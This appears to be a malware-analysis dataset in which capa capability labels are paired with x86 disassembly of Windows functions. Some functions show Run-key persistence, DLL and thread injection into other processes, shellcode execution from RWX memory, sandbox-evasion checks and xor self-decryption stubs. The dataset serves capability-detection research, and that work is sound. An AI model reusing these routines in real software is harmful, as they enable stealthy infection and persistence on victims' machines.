joyce8/EMBER2024-capa huggingface dataset:
Function at 0x446190
Capabilities:
Resolve dns

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x1c]
push ebp
xor ebp, ebp
mov dword [esp + 4], ebp
mov dword [eax], ebp
lea eax, [esp + 8]
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.DLL_getaddrinfo]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x446323
push ebx
push edi
mov edi, dword [esp + 0x10]
test edi, edi
je 0x44630d
push esi
mov eax, dword [edi + 4]
cmp eax, 2
jne 0x4461df
lea ebx, [eax + 0xe]
jmp 0x4461eb
cmp eax, 0x17
jne 0x44629a
lea ebx, [eax + 5]
cmp dword [edi + 0x18], 0
je 0x44629a
mov eax, dword [edi + 0x10]
test eax, eax
je 0x44629a
cmp eax, ebx
jb 0x44629a
push 0x20
call dword [0xa21244]
mov esi, eax
add esp, 4
test esi, esi
je 0x446302
mov eax, dword [edi]
mov dword [esi], eax
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
mov eax, dword [edi + 0xc]
push ebx
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], ebx
mov dword [esi + 0x18], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x1c], 0
call dword [0xa21244]
add esp, 4
mov dword [esi + 0x18], eax
test eax, eax
je 0x4462f1
push ebx
push dword [edi + 0x18]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [edi + 0x14]
add esp, 0xc
test eax, eax
je 0x446285
push eax
call dword [0xa21250]
add esp, 4
mov dword [esi + 0x14], eax
test eax, eax
je 0x4462d7
test ebp, ebp
jne 0x44628b
mov ebp, esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x446296
mov dword [eax + 0x1c], esi
mov dword [esp + 0x10], esi
mov edi, dword [edi + 0x1c]
test edi, edi
jne 0x4461d2
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
pop esi
test eax, eax
je 0x4462b9
push eax
call dword [sym.imp.WS2_32.DLL_freeaddrinfo]
test ebx, ebx
je 0x446309
push ebp
call fcn.00446150
mov eax, dword [esp + 0x2c]
add esp, 4
xor ebp, ebp
mov dword [eax], ebp
mov eax, ebx
pop edi
pop ebx
pop ebp
add esp, 0xc
ret
push dword [esi + 0x18]
mov ebx, 8
call dword [0xa21248]
push esi
call dword [0xa21248]
add esp, 8
jmp 0x4462a9
push esi
mov ebx, 8
call dword [0xa21248]
add esp, 4
jmp 0x4462a9
mov ebx, 8
jmp 0x4462a9
test ebp, ebp
jne 0x446319
mov ebx, 0x2af9
push ebx
call dword [sym.imp.WSOCK32.DLL_WSASetLastError]
mov eax, dword [esp + 0x28]
pop edi
mov dword [eax], ebp
mov eax, ebx
pop ebx
pop ebp
add esp, 0xc
ret

Function at 0x446770
Capabilities:
Create udp socket

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x264], 2
je fcn.00446720
mov al, 1
ret
Function at 0x44c1cb
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov edi, ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov esi, 0xa235d4
cmp dword [0xa235d0], edi
jne 0x44c1fa
push esi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0xa235d0], 1
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [0xa235cc]
test esi, esi
je 0x44c255
test edi, edi
jne 0x44c39c
xor eax, eax
lea ecx, [esi + 0x114]
inc eax
cmp ebx, dword [ecx]
je 0x44c22b
inc eax
add ecx, 4
cmp eax, 0x40
jl 0x44c21c
jmp 0x44c247
push dword [esp + 0x1c]
add eax, 0x84
push dword [esp + 0x1c]
lea eax, [esi + eax*4]
push eax
call fcn.0044c174
xor edi, edi
add esp, 0xc
inc edi
mov esi, dword [esi]
test esi, esi
jne 0x44c20b
test edi, edi
jne 0x44c39c
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [esp + 0x10]
push ebp
push ebp
push 0x100000
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x44c39c
mov esi, dword [0xa235cc]
jmp 0x44c296
cmp dword [esi + 0xc], 0x3f
jl 0x44c337
mov esi, dword [esi]
test esi, esi
jne 0x44c28a
push 0x310
push 8
push dword [0xa22cf0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
test esi, esi
je 0x44c396
push ebp
push 1
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov dword [esi + 8], eax
test eax, eax
je 0x44c388
push ebp
push ebp
push esi
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x1c]
push 0x44c3af
mov dword [esi + 0x114], ebx
lea ebx, [esi + 0x214]
push 0x1000
mov dword [esi + 0x14], eax
mov dword [ebx], ebp
push ebp
mov dword [esi + 0xc], 2
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x44c383
push eax
call edi
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push ebx
call fcn.0044c174
mov eax, dword [0xa235cc]
add esp, 0xc
mov dword [esi + 4], ebp
mov dword [esi], eax
test eax, eax
je 0x44c32f
mov dword [eax + 4], esi
mov dword [0xa235cc], esi
jmp 0x44c39c
mov ecx, dword [esi + 0xc]
mov eax, dword [esp + 0x10]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
mov dword [esi + ecx*4 + 0x10], eax
mov eax, dword [esi + 0xc]
mov dword [esi + eax*4 + 0x110], ebx
mov eax, dword [esi + 0xc]
mov dword [esi + eax*4 + 0x210], ebp
mov eax, dword [esi + 0xc]
add eax, 0x84
lea eax, [esi + eax*4]
push eax
call fcn.0044c174
add esp, 0xc
inc dword [esi + 0xc]
push ebp
push 1
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
jmp 0x44c39c
push dword [esi + 8]
call edi
push esi
push ebp
push dword [0xa22cf0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x10]
call edi
push 0xa235d4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x620012f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x62001325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x62001325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6200132c
mov eax, 1
jmp 0x62001331
mov eax, 0
leave
ret

Function at 0x62001333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x62001382
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x6200137e
jmp 0x62001392
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x6200138e
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x620014d3
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x62001623
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x62001686
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62001748
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x620016bb
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62001748
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x620016e5
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62001748
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x6200172c
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62001748
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x620018a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x62001c80
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6200603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x62006034]
sub esp, 4
test ebx, ebx
je 0x62001ccb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x62001cc4
test esi, esi
je 0x62001cc4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x62001ca0
mov dword [esp], 0x6200603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x62001eb0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x62004190
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x62001f00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x62001fd8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x62001f3e
cmp eax, 4
jne 0x62001f60
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x62001f4e
cmp edx, 4
je 0x62001f4e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.62001eb0

Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c

Function at 0x3ad76570
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x3ad7657f
pop dword [ebp - 0x2c]
mov eax, 0x6adaeec0
add eax, 0xcffc76bf
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x36bb6
push 0
mov eax, 0x6732b360
add eax, 0xd3a45d54
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xf27c9b27
sub ecx, 0xf27c56ab
mov esi, eax
mov edi, 0x25101eae
sub edi, 0xea37d0ae
add edi, dword [ebp - 0x2c]
mov edx, 0xfa351db8
sub edx, 0xa68326d6
mov dword [ebp - 0xc], 0x89c083d8
mov ebx, dword [edi]
xor dword [ebp - 4], 0xe08206fe
xor ebx, edx
xor dword [ebp - 4], 0x8f2c7bfd
mov dword [esi], ebx
add dword [ebp - 0x1c], 0xa017d57f
add esi, 0xc9acd01
add esi, 0xf3653303
add edi, 4
loop 0x3ad765de
add eax, 0xdc33f2c6
add eax, 0x23cd11fd
mov ebx, eax
add eax, 0x4ff673f3
add eax, 0xb0098c12
mov ecx, 0x3ad70000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1001651
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x2000000
push 3
push esi
xor eax, eax
xor ebx, ebx
inc ebx
push ebx
push esi
push dword [ebp + 8]
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov word [ebp - 0x1c], ax
mov word [ebp - 0x1a], ax
mov word [ebp - 0x18], ax
mov word [ebp - 0x16], ax
mov word [ebp - 0x14], ax
mov word [ebp - 0x12], ax
mov word [ebp - 0x10], ax
mov word [ebp - 0xe], ax
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100171e
lea eax, [ebp - 0x40]
push eax
push dword [ebp + 8]
call dword [sym.imp.msvcrt.dll__wstat]
pop ecx
pop ecx
test eax, eax
je 0x10016c1
mov eax, ebx
jmp 0x10017e3
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.msvcrt.dll_localtime]
pop ecx
cmp eax, esi
je 0x10016ba
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x2c]
mov dword [ecx], edx
mov ecx, 0x76c
add cx, word [eax + 0x14]
mov word [ebp - 0x1c], cx
mov cx, word [eax + 0x10]
inc cx
mov word [ebp - 0x1a], cx
mov cx, word [eax + 0x18]
mov word [ebp - 0x18], cx
mov cx, word [eax + 0xc]
mov word [ebp - 0x16], cx
mov cx, word [eax + 8]
mov word [ebp - 0x14], cx
mov cx, word [eax + 4]
mov word [ebp - 0x12], cx
mov ax, word [eax]
mov word [ebp - 0x10], ax
xor eax, eax
mov word [ebp - 0xe], ax
jmp 0x1001780
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
lea eax, [ebp - 0x74]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push edi
test eax, eax
jne 0x1001746
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10016ba
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10016ba
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
test eax, eax
je 0x10016ba
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
test eax, eax
je 0x10016ba
lea eax, [ebp - 4]
push eax
call fcn.01004409
mov ebx, eax
mov eax, dword [ebp - 4]
dec eax
neg eax
sbb eax, eax
mov edi, 0xfe
push edi
push dword [ebp + 0x10]
not eax
and eax, 0x1001200
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
test eax, eax
jne 0x10017be
call fcn.01004213
xor eax, eax
inc eax
jmp 0x10017e3
mov eax, dword [ebp - 4]
dec eax
neg eax
push edi
push dword [ebp + 0x14]
sbb eax, eax
not eax
and eax, 0x10011ec
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x1003bb7
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x1007820
call fcn.01003d64
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x100949c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x10039cc
cmp eax, esi
jne 0x10039bf
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x10039cf
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10039a6
xor esi, esi
inc esi
mov eax, dword [0x1009498]
cmp eax, esi
jne 0x10039e2
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x1003a1d
mov eax, dword [0x1009498]
test eax, eax
jne 0x1003a17
mov dword [0x1009498], esi
push 0x10011c8
push 0x10011bc
call fcn.01003923
pop ecx
pop ecx
test eax, eax
je 0x1003a1d
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x1003ae7
mov dword [0x1009044], esi
mov eax, dword [0x1009498]
cmp eax, esi
jne 0x1003a41
push 0x10011b8
push 0x10011b0
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1009498], 2
cmp dword [ebp - 0x1c], ebx
jne 0x1003a4e
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x10094a0], ebx
je 0x1003a6f
push 0x10094a0
call fcn.01003cd9
pop ecx
test eax, eax
je 0x1003a6f
push ebx
push 2
push ebx
call dword [0x10094a0]
push dword [0x100902c]
push dword [0x1009030]
push dword [0x1009028]
call fcn.01003399
add esp, 0xc
mov dword [0x1009040], eax
cmp dword [0x1009034], ebx
jne 0x1003acd
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x1009044], ebx
jne 0x1003adb
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1009040]
call fcn.01003da9
ret
call fcn.01003eb1
jmp 0x1003984
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor

Disassembly:
xor eax, eax
jmp 0x401064
mov edi, edi
push ebp
mov ebp, esp
jmp 0x4010cb
sub esp, 0x20
mov eax, dword [0x404008]
cmp eax, 0
jne 0x40114f
mov eax, dword [0x40400c]
jmp 0x401145
cmp eax, 0
jne 0x40114f
jmp 0x4012f4
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
jmp 0x4011be
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x40114f
mov dword [ebp - 0x14], eax
jmp 0x401239
call sub.KERNEL32.dll_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x40114f
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x40114f
mov eax, dword [0x404008]
cmp eax, 0
je 0x4012d1
push 0x3e8
call sub.KERNEL32.dll_Sleep
lea eax, [ebp - 0x10]
jmp 0x4012ae
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401268
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x40114f
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401268
mov eax, dword [0x40400c]
cmp eax, 0
je 0x4012f4
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x4012d1
cmp eax, dword [ebp - 0x14]
je 0x4012d1
push dword [0x404000]
mov eax, 0x40401a
mov ebx, 0x404302
sub ebx, eax
jmp 0x401316
push ebx
push 0x40401a
call fcn.0040130b
lea eax, [ebp - 4]
push eax
jmp 0x401394
push 0x40
mov eax, 0x401537
mov ebx, 0x4030d1
sub ebx, eax
mov dword [ebp - 0x14], ebx
push ebx
push 0x401537
jmp 0x40141b
call sub.KERNEL32.dll_VirtualProtect
push dword [0x404004]
mov eax, dword [ebp - 0x14]
push eax
push 0x401537
call fcn.0040130b
lea eax, [ebp - 4]
push eax
jmp 0x40151c
push dword [eax]
mov eax, dword [ebp - 0x14]
push eax
push 0x401537
call sub.KERNEL32.dll_VirtualProtect
jmp 0x401537
push esi
push esi
push esi
push esi
xchg ecx, eax
fadd qword [eax]
add byte [esi + 0xce9a], ch
scasb al, byte es:[edi]
les eax, [ebp + 0x102e0086]
into
add byte [eax], al
salc
add byte [eax], al
add byte [esi], ch
enter 0, 0xffffffffffffffac
add byte [esi], ch
xor byte [ebp + 0x6f70000], ch
syscall
xchg ebx, eax
dec edi
and eax, dword [ebp + 0x2a]
out 0x95, al
xchg edi, eax
xchg esp, eax
xchg ecx, eax
nop
test dword [esi], 0x4f3a834f
cmp dword [esi], 0x4f
xor dword [edx], 0x4f
xor dword [esi], 0x4f
sub dword [edx], 0x4f
sub dword [esi], 0x4f
and dword [edx], 0x2e
fcmovnb st(0), st(5)
add byte [eax], al
dec edi
cmp dword [edx], 0xffffffae
ret 0xc7

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx